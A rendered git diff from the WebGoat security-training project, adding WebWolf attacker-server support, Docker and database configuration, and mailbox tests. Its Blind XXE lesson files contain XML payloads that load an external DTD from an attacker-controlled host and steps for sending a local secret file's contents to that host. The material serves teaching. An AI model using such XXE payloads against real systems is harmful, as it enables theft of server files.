<div class="adoc-content" th:replace="doc:Receiving_mail.adoc"></div>
|
||||||
<div class="attack-container">
|
<div class="attack-container">
|
||||||
|
<img th:src="@{/images/wolf-enabled.png}" class="webwolf-enabled"/>
|
||||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||||
<form class="attack-form" accept-charset="UNKNOWN"
|
<form class="attack-form" accept-charset="UNKNOWN"
|
||||||
method="POST" name="form"
|
method="POST" name="form"
|
||||||
@ -66,6 +67,7 @@
|
|||||||
<div class="lesson-page-wrapper">
|
<div class="lesson-page-wrapper">
|
||||||
<div class="adoc-content" th:replace="doc:Landing_page.adoc"></div>
|
<div class="adoc-content" th:replace="doc:Landing_page.adoc"></div>
|
||||||
<div class="attack-container">
|
<div class="attack-container">
|
||||||
|
<img th:src="@{/images/wolf-enabled.png}" class="webwolf-enabled"/>
|
||||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||||
<a href="/WebGoat/WebWolf/landing/password-reset" target="_blank">Click here to reset your password</a>
|
<a href="/WebGoat/WebWolf/landing/password-reset" target="_blank">Click here to reset your password</a>
|
||||||
|
|
||||||
|
@ -2,7 +2,7 @@ webwolf.title=WebWolf
|
|||||||
|
|
||||||
webwolf.email_send=An email has been send to {0} please check your inbox.
|
webwolf.email_send=An email has been send to {0} please check your inbox.
|
||||||
webwolf.code_incorrect=That is not the correct code: {0}, please try again.
|
webwolf.code_incorrect=That is not the correct code: {0}, please try again.
|
||||||
|
webwolf.email_failed=There was an error while sending the e-mail. Is WebWolf running?
|
||||||
|
|
||||||
webwolf.email_mismatch=Of course you can send mail to user {0} however you will not be able to read this e-mail in WebWolf, please use your own username.
|
webwolf.email_mismatch=Of course you can send mail to user {0} however you will not be able to read this e-mail in WebWolf, please use your own username.
|
||||||
|
|
||||||
|
Binary file not shown.
After Width: | Height: | Size: 6.7 KiB |
@ -1,7 +1,17 @@
|
|||||||
== Introducing WebWolf
|
== Introducing WebWolf
|
||||||
|
|
||||||
NOTE: You only need WebWolf if you a lesson specifies you can use it. For a lot of lessons you use WebGoat without
|
You only need WebWolf if you a lesson specifies you can use it. For a lot of lessons you use WebGoat without
|
||||||
starting WebWolf.
|
starting WebWolf. If you need to do an exercise with WebWolf make sure it is running along side with WebGoat. Lessons
|
||||||
|
where you can use WebWolf are marked with the following icon (top right in assignment):
|
||||||
|
|
||||||
|
{nbsp}
|
||||||
|
|
||||||
|
image::images/wolf-enabled.png[width=115,height=128]
|
||||||
|
|
||||||
|
{nbsp}
|
||||||
|
|
||||||
|
Even if the icon the present your are not obliged to use WebWolf, you can also use any intercepting tool you like, like
|
||||||
|
`netcat` etc.
|
||||||
|
|
||||||
WebWolf is a separate web application which simulates an attackers machine. It makes it possible for us to
|
WebWolf is a separate web application which simulates an attackers machine. It makes it possible for us to
|
||||||
make a clear distinction between what takes place on the attacked website and the actions you need to do as
|
make a clear distinction between what takes place on the attacked website and the actions you need to do as
|
||||||
@ -20,12 +30,18 @@ are not using the Docker image you will need to download the jar file and start
|
|||||||
java -jar webwolf-<<version>>.jar
|
java -jar webwolf-<<version>>.jar
|
||||||
```
|
```
|
||||||
|
|
||||||
WebWolf is also available as a Docker container:
|
WebWolf is also available as a Docker container, because it shares the database with WebGoat we first need
|
||||||
|
to find out the ip address of the Docker container.
|
||||||
|
|
||||||
```
|
```
|
||||||
docker pull webwolf/webwolf-8.0
|
WEBGOAT_SERVER_ADDRESS=$(docker inspect -f "{{ .NetworkSettings.IPAddress }}" `docker ps | grep webgoat | awk '{print $1}'`)
|
||||||
docker run -it 8081:8081 /home/webwolf/run.sh
|
docker pull webgoat/webwolf
|
||||||
|
docker run -e webgoat.server.address=${WEBGOAT_SERVER_ADDRESS} -it -p 8081:8081 webgoat/webwolf /home/webwolf/run.sh
|
||||||
```
|
```
|
||||||
|
|
||||||
|
Note: if you start WebGoat as standalone application you need to start WebWolf as standalone application as well. If
|
||||||
|
you start WebGoat as Docker container you need to start WebWolf as Docker container as well.
|
||||||
|
|
||||||
|
|
||||||
This will start the application on port 8081, click webWolfLink:here[] to open WebWolf.
|
This will start the application on port 8081, click webWolfLink:here[] to open WebWolf.
|
||||||
First thing you need to do is register a new user within WebWolf.
|
First thing you need to do is register a new user within WebWolf.
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>8.0.0.M3</version>
|
<version>v8.0.0.M14</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<dependencies>
|
<dependencies>
|
||||||
|
@ -58,7 +58,7 @@ public class XXE extends NewLesson {
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
public String getTitle() {
|
public String getTitle() {
|
||||||
return "XXE";
|
return "xxe.title";
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
|
@ -144,6 +144,7 @@
|
|||||||
<div class="lesson-page-wrapper">
|
<div class="lesson-page-wrapper">
|
||||||
<div class="adoc-content" th:replace="doc:XXE_blind_assignment.adoc"></div>
|
<div class="adoc-content" th:replace="doc:XXE_blind_assignment.adoc"></div>
|
||||||
<div class="attack-container">
|
<div class="attack-container">
|
||||||
|
<img th:src="@{/images/wolf-enabled.png}" class="webwolf-enabled"/>
|
||||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||||
<form class="attack-form" accept-charset="UNKNOWN"
|
<form class="attack-form" accept-charset="UNKNOWN"
|
||||||
method="POST" name="form"
|
method="POST" name="form"
|
||||||
|
@ -22,6 +22,7 @@
|
|||||||
# projects.
|
# projects.
|
||||||
# <p>
|
# <p>
|
||||||
#
|
#
|
||||||
|
xxe.title=XXE
|
||||||
xxe.simple.output=Welcome {0} you can now login to our website
|
xxe.simple.output=Welcome {0} you can now login to our website
|
||||||
xxe.content.type.feedback.json=You are posting JSON which does not work with a XXE
|
xxe.content.type.feedback.json=You are posting JSON which does not work with a XXE
|
||||||
xxe.content.type.feedback.xml=You are posting XML but there is no XXE attack performed
|
xxe.content.type.feedback.xml=You are posting XML but there is no XXE attack performed
|
||||||
|
BIN
webgoat-lessons/xxe/src/main/resources/images/wolf-enabled.png
Normal file
BIN
webgoat-lessons/xxe/src/main/resources/images/wolf-enabled.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 6.7 KiB |
@ -1,4 +1,3 @@
|
|||||||
|
|
||||||
== Blind XXE
|
== Blind XXE
|
||||||
|
|
||||||
In some cases you will see no output because although your attack might have worked the field is not reflected in the output of page.
|
In some cases you will see no output because although your attack might have worked the field is not reflected in the output of page.
|
||||||
@ -6,25 +5,25 @@ Or the resource you are trying to read contains illegal XML character which caus
|
|||||||
Let's start with an example, in this case we reference an external DTD which we control on our own server.
|
Let's start with an example, in this case we reference an external DTD which we control on our own server.
|
||||||
|
|
||||||
As an attacker you have WebWolf under your control (*this can be any server under your control.*), you can for example
|
As an attacker you have WebWolf under your control (*this can be any server under your control.*), you can for example
|
||||||
use this server to ping it using `http://localhost:8081/ping?text=HelloWorld
|
use this server to ping it using `webWolfLink:landing[noLink]`
|
||||||
|
|
||||||
How do we use this endpoint to verify whether we can perform XXE?
|
How do we use this endpoint to verify whether we can perform XXE?
|
||||||
|
|
||||||
We can again use WebWolf to host a file called `attack.dtd`, create this file with the following contents:
|
We can again use WebWolf to host a file called `attack.dtd`, create this file with the following contents:
|
||||||
|
|
||||||
[source]
|
[source, subs="macros, specialcharacters"]
|
||||||
----
|
----
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!ENTITY ping SYSTEM 'http://localhost:8081/ping?text=HelloWorld'>
|
<!ENTITY ping SYSTEM 'webWolfLink:landing[noLink]'>
|
||||||
----
|
----
|
||||||
|
|
||||||
Now submit the form change the xml using to:
|
Now submit the form change the xml using to:
|
||||||
|
|
||||||
[source]
|
[source, subs="macros, specialcharacters"]
|
||||||
----
|
----
|
||||||
<?xml version="1.0"?>
|
<?xml version="1.0"?>
|
||||||
<!DOCTYPE root [
|
<!DOCTYPE root [
|
||||||
<!ENTITY % remote SYSTEM "http://localhost:8081/WebWolf/files/attack.dtd">
|
<!ENTITY % remote SYSTEM "webWolfLink:files/attack.dtd[noLink]">
|
||||||
%remote;
|
%remote;
|
||||||
]>
|
]>
|
||||||
<comment>
|
<comment>
|
||||||
|
@ -9,15 +9,15 @@ DTD.
|
|||||||
|OS |Location
|
|OS |Location
|
||||||
|
|
||||||
|Linux
|
|Linux
|
||||||
|`/home/USER/.webgoat/XXE/secret.txt`
|
|`/home/USER/.webgoat-webGoatVersion:version[]/XXE/secret.txt`
|
||||||
|
|
||||||
|Windows
|
|Windows
|
||||||
|`c:/Users/USER/.webgoat/XXE/secret.txt`
|
|`c:/Users/USER/.webgoat-webGoatVersion:version[]/XXE/secret.txt`
|
||||||
|
|
||||||
|Docker
|
|Docker
|
||||||
|`/home/webgoat/.webgoat/XXE/secret.txt`
|
|`/home/webgoat/.webgoat-webGoatVersion:version[]/XXE/secret.txt`
|
||||||
|===
|
|===
|
||||||
|
|
||||||
Try to upload this file using WebWolf landing page for example: `http://localhost:8081/WebWolf/landing?text=[contents_file]`
|
Try to upload this file using WebWolf landing page for example: `webWolfLink:landing?text=contents_file[noLink]`
|
||||||
(NOTE: this endpoint is under your full control)
|
(NOTE: this endpoint is under your full control)
|
||||||
Once you obtained the contents of the file post it as a new comment on the page and you will solve the lesson.
|
Once you obtained the contents of the file post it as a new comment on the page and you will solve the lesson.
|
@ -2,13 +2,13 @@ FROM openjdk:8-jre-slim
|
|||||||
|
|
||||||
ARG webgoat_version=8.0-SNAPSHOT
|
ARG webgoat_version=8.0-SNAPSHOT
|
||||||
|
|
||||||
RUN useradd --home-dir /home/webgoat --create-home -U webgoat
|
RUN \
|
||||||
|
apt-get update && apt-get install && \
|
||||||
RUN apt-get update; apt-get install curl -y
|
useradd --home-dir /home/webgoat --create-home -U webgoat
|
||||||
|
|
||||||
COPY start.sh /home/webgoat/start.sh
|
|
||||||
RUN chmod +x /home/webgoat/start.sh
|
|
||||||
|
|
||||||
USER webgoat
|
USER webgoat
|
||||||
RUN cd /home/webgoat/; mkdir -p .webgoat
|
RUN cd /home/webgoat/; mkdir -p .webgoat-${webgoat_version}
|
||||||
COPY target/webgoat-server-${webgoat_version}.jar /home/webgoat/webgoat.jar
|
COPY target/webgoat-server-${webgoat_version}.jar /home/webgoat/webgoat.jar
|
||||||
|
|
||||||
|
ENTRYPOINT ["java", "-Djava.security.egd=file:/dev/./urandom", "-jar", "/home/webgoat/webgoat.jar", "--server.address=0.0.0.0"]
|
||||||
|
EXPOSE 8080
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat</groupId>
|
<groupId>org.owasp.webgoat</groupId>
|
||||||
<artifactId>webgoat-parent</artifactId>
|
<artifactId>webgoat-parent</artifactId>
|
||||||
<version>8.0.0.M3</version>
|
<version>v8.0.0.M14</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<properties>
|
<properties>
|
||||||
@ -198,6 +198,11 @@
|
|||||||
<artifactId>spring-boot-devtools</artifactId>
|
<artifactId>spring-boot-devtools</artifactId>
|
||||||
<optional>true</optional>
|
<optional>true</optional>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.postgresql</groupId>
|
||||||
|
<artifactId>postgresql</artifactId>
|
||||||
|
<version>42.2.2</version>
|
||||||
|
</dependency>
|
||||||
</dependencies>
|
</dependencies>
|
||||||
|
|
||||||
<build>
|
<build>
|
||||||
|
@ -0,0 +1,51 @@
|
|||||||
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
|
import org.hsqldb.server.Server;
|
||||||
|
import org.springframework.beans.factory.annotation.Value;
|
||||||
|
import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
|
||||||
|
import org.springframework.boot.autoconfigure.jdbc.DataSourceBuilder;
|
||||||
|
import org.springframework.context.annotation.Bean;
|
||||||
|
import org.springframework.context.annotation.Configuration;
|
||||||
|
import org.springframework.context.annotation.DependsOn;
|
||||||
|
import org.springframework.context.annotation.Primary;
|
||||||
|
|
||||||
|
import javax.sql.DataSource;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Rationale for this class: when the HSQLDB is started with jdbc:file:// it is only accessible from within the same
|
||||||
|
* JVM. This can only be done if you start a standalone HSQLDB. We need both WebWolf and WebGoat to use the same database
|
||||||
|
*/
|
||||||
|
@Configuration
|
||||||
|
@ConditionalOnProperty(prefix = "webgoat.start", name = "hsqldb", havingValue = "true")
|
||||||
|
public class HSQLDBDatabaseConfig {
|
||||||
|
|
||||||
|
@Value("${hsqldb.port:9001}")
|
||||||
|
private int hsqldbPort;
|
||||||
|
|
||||||
|
@Bean(initMethod = "start", destroyMethod = "stop")
|
||||||
|
public Server hsqlStandalone(@Value("${webgoat.server.directory}") String directory,
|
||||||
|
@Value("${hsqldb.silent:true}") boolean silent,
|
||||||
|
@Value("${hsqldb.trace:false}") boolean trace) {
|
||||||
|
|
||||||
|
Server server = new Server();
|
||||||
|
server.setDatabaseName(0, "webgoat");
|
||||||
|
server.setDatabasePath(0, directory + "/data/webgoat");
|
||||||
|
server.setDaemon(true);
|
||||||
|
server.setTrace(trace);
|
||||||
|
server.setSilent(silent);
|
||||||
|
server.setPort(hsqldbPort);
|
||||||
|
return server;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Primary
|
||||||
|
@Bean
|
||||||
|
@DependsOn("hsqlStandalone")
|
||||||
|
public DataSource dataSource(@Value("${spring.datasource.driver-class-name}") String driverClass,
|
||||||
|
@Value("${spring.datasource.url}") String url) {
|
||||||
|
return DataSourceBuilder.create()
|
||||||
|
.driverClassName(driverClass)
|
||||||
|
.url(url)
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
}
|
@ -37,7 +37,4 @@ public class StartWebGoat {
|
|||||||
public static void main(String[] args) {
|
public static void main(String[] args) {
|
||||||
SpringApplication.run(WebGoat.class, args);
|
SpringApplication.run(WebGoat.class, args);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -1,3 +0,0 @@
|
|||||||
#!/bin/sh
|
|
||||||
|
|
||||||
java -jar -Djava.security.egd=file:/dev/./urandom /home/webgoat/webgoat.jar
|
|
@ -2,12 +2,13 @@ FROM openjdk:8-jre-slim
|
|||||||
|
|
||||||
ARG webwolf_version=8.0-SNAPSHOT
|
ARG webwolf_version=8.0-SNAPSHOT
|
||||||
|
|
||||||
RUN useradd --home-dir /home/webwolf --create-home -U webwolf
|
RUN \
|
||||||
|
apt-get update && apt-get install && \
|
||||||
RUN apt-get update; apt-get install curl -y
|
useradd --home-dir /home/webwolf --create-home -U webwolf
|
||||||
|
|
||||||
COPY start.sh /home/webwolf/start.sh
|
|
||||||
RUN chmod +x /home/webwolf/start.sh
|
|
||||||
|
|
||||||
USER webwolf
|
USER webwolf
|
||||||
COPY target/webwolf-${webwolf_version}.jar /home/webwolf/webwolf.jar
|
COPY target/webwolf-${webwolf_version}.jar /home/webwolf/webwolf.jar
|
||||||
|
|
||||||
|
ENTRYPOINT ["java", "-Djava.security.egd=file:/dev/./urandom", "-jar", "/home/webwolf/webwolf.jar", "--server.address=0.0.0.0"]
|
||||||
|
|
||||||
|
EXPOSE 8081
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat</groupId>
|
<groupId>org.owasp.webgoat</groupId>
|
||||||
<artifactId>webgoat-parent</artifactId>
|
<artifactId>webgoat-parent</artifactId>
|
||||||
<version>8.0.0.M3</version>
|
<version>v8.0.0.M14</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<dependencies>
|
<dependencies>
|
||||||
@ -78,6 +78,11 @@
|
|||||||
<artifactId>hsqldb</artifactId>
|
<artifactId>hsqldb</artifactId>
|
||||||
<version>${hsqldb.version}</version>
|
<version>${hsqldb.version}</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.postgresql</groupId>
|
||||||
|
<artifactId>postgresql</artifactId>
|
||||||
|
<version>42.2.2</version>
|
||||||
|
</dependency>
|
||||||
|
|
||||||
<!-- ************* START: Dependencies for Unit and Integration Testing ************** -->
|
<!-- ************* START: Dependencies for Unit and Integration Testing ************** -->
|
||||||
<dependency>
|
<dependency>
|
||||||
@ -85,6 +90,10 @@
|
|||||||
<artifactId>spring-boot-starter-test</artifactId>
|
<artifactId>spring-boot-starter-test</artifactId>
|
||||||
<scope>test</scope>
|
<scope>test</scope>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.springframework.security</groupId>
|
||||||
|
<artifactId>spring-security-test</artifactId>
|
||||||
|
</dependency>
|
||||||
</dependencies>
|
</dependencies>
|
||||||
|
|
||||||
<build>
|
<build>
|
||||||
|
@ -1,5 +1,8 @@
|
|||||||
package org.owasp.webwolf.mailbox;
|
package org.owasp.webwolf.mailbox;
|
||||||
|
|
||||||
|
import com.fasterxml.jackson.annotation.JsonIgnore;
|
||||||
|
import lombok.AllArgsConstructor;
|
||||||
|
import lombok.Builder;
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
import lombok.NoArgsConstructor;
|
import lombok.NoArgsConstructor;
|
||||||
|
|
||||||
@ -13,6 +16,8 @@ import java.time.format.DateTimeFormatter;
|
|||||||
* @since 8/20/17.
|
* @since 8/20/17.
|
||||||
*/
|
*/
|
||||||
@Data
|
@Data
|
||||||
|
@Builder
|
||||||
|
@AllArgsConstructor
|
||||||
@Entity
|
@Entity
|
||||||
@NoArgsConstructor
|
@NoArgsConstructor
|
||||||
public class Email implements Serializable {
|
public class Email implements Serializable {
|
||||||
@ -20,7 +25,7 @@ public class Email implements Serializable {
|
|||||||
@Id
|
@Id
|
||||||
@GeneratedValue(strategy = GenerationType.IDENTITY)
|
@GeneratedValue(strategy = GenerationType.IDENTITY)
|
||||||
private Long id;
|
private Long id;
|
||||||
private LocalDateTime time;
|
private LocalDateTime time = LocalDateTime.now();
|
||||||
@Column(length = 1024)
|
@Column(length = 1024)
|
||||||
private String contents;
|
private String contents;
|
||||||
private String sender;
|
private String sender;
|
||||||
@ -28,7 +33,7 @@ public class Email implements Serializable {
|
|||||||
private String recipient;
|
private String recipient;
|
||||||
|
|
||||||
public String getSummary() {
|
public String getSummary() {
|
||||||
return "-" + this.contents.substring(0, 50);
|
return "-" + this.contents.substring(0, Math.min(50, contents.length()));
|
||||||
}
|
}
|
||||||
|
|
||||||
public LocalDateTime getTimestamp() {
|
public LocalDateTime getTimestamp() {
|
||||||
|
@ -7,6 +7,8 @@ import org.owasp.webwolf.user.WebGoatUser;
|
|||||||
import org.springframework.http.HttpStatus;
|
import org.springframework.http.HttpStatus;
|
||||||
import org.springframework.http.ResponseEntity;
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.security.core.context.SecurityContextHolder;
|
import org.springframework.security.core.context.SecurityContextHolder;
|
||||||
|
import org.springframework.security.core.userdetails.User;
|
||||||
|
import org.springframework.security.core.userdetails.UserDetails;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
import org.springframework.web.bind.annotation.PostMapping;
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestBody;
|
import org.springframework.web.bind.annotation.RequestBody;
|
||||||
@ -25,12 +27,11 @@ import java.util.concurrent.Callable;
|
|||||||
@Slf4j
|
@Slf4j
|
||||||
public class MailboxController {
|
public class MailboxController {
|
||||||
|
|
||||||
private final UserRepository userRepository;
|
|
||||||
private final MailboxRepository mailboxRepository;
|
private final MailboxRepository mailboxRepository;
|
||||||
|
|
||||||
@GetMapping(value = "/WebWolf/mail")
|
@GetMapping(value = "/WebWolf/mail")
|
||||||
public ModelAndView mail() {
|
public ModelAndView mail() {
|
||||||
WebGoatUser user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
|
UserDetails user = (UserDetails) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
|
||||||
ModelAndView modelAndView = new ModelAndView();
|
ModelAndView modelAndView = new ModelAndView();
|
||||||
List<Email> emails = mailboxRepository.findByRecipientOrderByTimeDesc(user.getUsername());
|
List<Email> emails = mailboxRepository.findByRecipientOrderByTimeDesc(user.getUsername());
|
||||||
if (emails != null && !emails.isEmpty()) {
|
if (emails != null && !emails.isEmpty()) {
|
||||||
@ -44,13 +45,8 @@ public class MailboxController {
|
|||||||
@PostMapping(value = "/mail")
|
@PostMapping(value = "/mail")
|
||||||
public Callable<ResponseEntity<?>> sendEmail(@RequestBody Email email) {
|
public Callable<ResponseEntity<?>> sendEmail(@RequestBody Email email) {
|
||||||
return () -> {
|
return () -> {
|
||||||
if (userRepository.findByUsername(email.getRecipient()) != null) {
|
mailboxRepository.save(email);
|
||||||
mailboxRepository.save(email);
|
return ResponseEntity.status(HttpStatus.CREATED).build();
|
||||||
return ResponseEntity.status(HttpStatus.CREATED).build();
|
|
||||||
} else {
|
|
||||||
log.trace("Mail received for unknown user: {}", email.getRecipient());
|
|
||||||
return ResponseEntity.notFound().build();
|
|
||||||
}
|
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -3,9 +3,11 @@ server.error.path=/error.html
|
|||||||
server.session.timeout=6000
|
server.session.timeout=6000
|
||||||
#server.contextPath=/WebWolf
|
#server.contextPath=/WebWolf
|
||||||
server.port=8081
|
server.port=8081
|
||||||
|
server.address=127.0.0.1
|
||||||
server.session.cookie.name = WEBWOLFSESSION
|
server.session.cookie.name = WEBWOLFSESSION
|
||||||
|
|
||||||
spring.datasource.url=jdbc:hsqldb:file:${webgoat.server.directory}/data/webwolf
|
spring.datasource.url=jdbc:hsqldb:hsql://${webgoat.server.address:localhost}:9001/webgoat
|
||||||
|
spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect
|
||||||
spring.jpa.hibernate.ddl-auto=update
|
spring.jpa.hibernate.ddl-auto=update
|
||||||
spring.messages.basename=i18n/messages
|
spring.messages.basename=i18n/messages
|
||||||
|
|
||||||
@ -29,7 +31,8 @@ multipart.location=${java.io.tmpdir}
|
|||||||
multipart.max-file-size=1Mb
|
multipart.max-file-size=1Mb
|
||||||
multipart.max-request-size=1Mb
|
multipart.max-request-size=1Mb
|
||||||
|
|
||||||
webgoat.server.directory=${user.home}/.webgoat/
|
webgoat.build.version=@project.version@
|
||||||
|
webgoat.server.directory=${user.home}/.webgoat-${webgoat.build.version}/
|
||||||
webwolf.fileserver.location=${java.io.tmpdir}/webwolf-fileserver
|
webwolf.fileserver.location=${java.io.tmpdir}/webwolf-fileserver
|
||||||
|
|
||||||
spring.jackson.serialization.indent_output=true
|
spring.jackson.serialization.indent_output=true
|
||||||
|
@ -45,7 +45,7 @@
|
|||||||
<div class="col-xs-6 col-sm-6 col-md-6">
|
<div class="col-xs-6 col-sm-6 col-md-6">
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div><b><a th:href="@{/registration}" th:text="#{register.new}"></a></b></div>
|
<!--<div><b><a th:href="@{/registration}" th:text="#{register.new}"></a></b></div>-->
|
||||||
</fieldset>
|
</fieldset>
|
||||||
</form>
|
</form>
|
||||||
</div>
|
</div>
|
||||||
|
@ -0,0 +1,98 @@
|
|||||||
|
package org.owasp.webwolf.mailbox;
|
||||||
|
|
||||||
|
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
|
||||||
|
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||||
|
import com.google.common.collect.Lists;
|
||||||
|
import org.junit.Before;
|
||||||
|
import org.junit.Test;
|
||||||
|
import org.junit.runner.RunWith;
|
||||||
|
import org.mockito.Mockito;
|
||||||
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
|
import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest;
|
||||||
|
import org.springframework.boot.test.mock.mockito.MockBean;
|
||||||
|
import org.springframework.http.MediaType;
|
||||||
|
import org.springframework.security.test.context.support.WithMockUser;
|
||||||
|
import org.springframework.test.context.junit4.SpringRunner;
|
||||||
|
import org.springframework.test.web.servlet.MockMvc;
|
||||||
|
|
||||||
|
import java.time.LocalDateTime;
|
||||||
|
import java.time.format.DateTimeFormatter;
|
||||||
|
|
||||||
|
import static org.hamcrest.CoreMatchers.containsString;
|
||||||
|
import static org.hamcrest.CoreMatchers.not;
|
||||||
|
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;
|
||||||
|
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post;
|
||||||
|
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*;
|
||||||
|
|
||||||
|
@RunWith(SpringRunner.class)
|
||||||
|
@WebMvcTest(MailboxController.class)
|
||||||
|
public class MailboxControllerTest {
|
||||||
|
|
||||||
|
@Autowired
|
||||||
|
private MockMvc mvc;
|
||||||
|
@MockBean
|
||||||
|
private MailboxRepository mailbox;
|
||||||
|
@Autowired
|
||||||
|
private ObjectMapper objectMapper;
|
||||||
|
|
||||||
|
@JsonIgnoreProperties("time")
|
||||||
|
public static class EmailMixIn {
|
||||||
|
}
|
||||||
|
|
||||||
|
@Before
|
||||||
|
public void setup() {
|
||||||
|
objectMapper.addMixIn(Email.class, EmailMixIn.class);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
@WithMockUser
|
||||||
|
public void sendingMailShouldStoreIt() throws Exception {
|
||||||
|
Email email = Email.builder()
|
||||||
|
.contents("This is a test mail")
|
||||||
|
.recipient("test1234@webgoat.org")
|
||||||
|
.sender("hacker@webgoat.org")
|
||||||
|
.title("Click this mail")
|
||||||
|
.time(LocalDateTime.now())
|
||||||
|
.build();
|
||||||
|
this.mvc.perform(post("/mail").contentType(MediaType.APPLICATION_JSON).content(objectMapper.writeValueAsBytes(email)))
|
||||||
|
.andExpect(status().isOk());
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
@WithMockUser(username = "test1234")
|
||||||
|
public void userShouldBeAbleToReadOwnEmail() throws Exception {
|
||||||
|
Email email = Email.builder()
|
||||||
|
.contents("This is a test mail")
|
||||||
|
.recipient("test1234@webgoat.org")
|
||||||
|
.sender("hacker@webgoat.org")
|
||||||
|
.title("Click this mail")
|
||||||
|
.time(LocalDateTime.now())
|
||||||
|
.build();
|
||||||
|
Mockito.when(mailbox.findByRecipientOrderByTimeDesc("test1234")).thenReturn(Lists.newArrayList(email));
|
||||||
|
|
||||||
|
this.mvc.perform(get("/WebWolf/mail"))
|
||||||
|
.andExpect(status().isOk())
|
||||||
|
.andExpect(view().name("mailbox"))
|
||||||
|
.andExpect(content().string(containsString("Click this mail")))
|
||||||
|
.andExpect(content().string(containsString(DateTimeFormatter.ofPattern("h:mm a").format(email.getTimestamp()))));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
@WithMockUser(username = "test1233")
|
||||||
|
public void differentUserShouldNotBeAbleToReadOwnEmail() throws Exception {
|
||||||
|
Email email = Email.builder()
|
||||||
|
.contents("This is a test mail")
|
||||||
|
.recipient("test1234@webgoat.org")
|
||||||
|
.sender("hacker@webgoat.org")
|
||||||
|
.title("Click this mail")
|
||||||
|
.time(LocalDateTime.now())
|
||||||
|
.build();
|
||||||
|
Mockito.when(mailbox.findByRecipientOrderByTimeDesc("test1234")).thenReturn(Lists.newArrayList(email));
|
||||||
|
|
||||||
|
this.mvc.perform(get("/WebWolf/mail"))
|
||||||
|
.andExpect(status().isOk())
|
||||||
|
.andExpect(view().name("mailbox"))
|
||||||
|
.andExpect(content().string(not(containsString("Click this mail"))));
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
@ -1,3 +0,0 @@
|
|||||||
#!/bin/sh
|
|
||||||
|
|
||||||
java -jar -Djava.security.egd=file:/dev/./urandom /home/webwolf/webwolf.jar
|
|
Loading…
x
Reference in New Issue
Block a user